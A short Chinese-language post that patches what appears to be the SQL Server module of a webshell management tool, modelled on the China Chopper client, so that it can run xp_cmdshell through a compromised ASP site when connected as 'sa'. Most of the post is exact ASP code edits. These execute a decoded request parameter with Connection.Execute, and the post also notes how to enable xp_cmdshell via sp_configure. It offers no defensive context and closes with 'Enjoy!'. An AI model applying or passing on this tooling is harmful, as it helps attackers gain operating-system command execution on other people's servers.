使用ASP连接SQLSERVER sa执行xp_cmdshell爆“-2147217887:ODBC 驱动程序不支持所需的属性错误”。
原因是在source\core\asp\template\database\sqlserver.js
中执行SQL语句代码模板中使用Recordset对象的open方法来执行SQL语句,貌似是该方法不支持请求xp_cmdshell这种过程对象,具体我也不清楚,这里参考了下菜刀的方式解决。
删除102、103行代码
Set Rs=CreateObject("Adodb.Recordset"): Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
更改为Connection对象的Execute方法直接执行
Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):
为了防止执行一些返回recordset.Fields为0的命令(如开启xp_cmdshell的命令:EXEC sp_configure "show advanced options",1)后面程序进入死循环的情况,这里还需要加一个if判断:
在FN=Rs.Fields.Count-1:
的后面添加
If FN=-1 Then: Response.Write HD&"Execute Successfully!"&CO&RN: Else:
再在loop
后面添加End If:
Enjoy!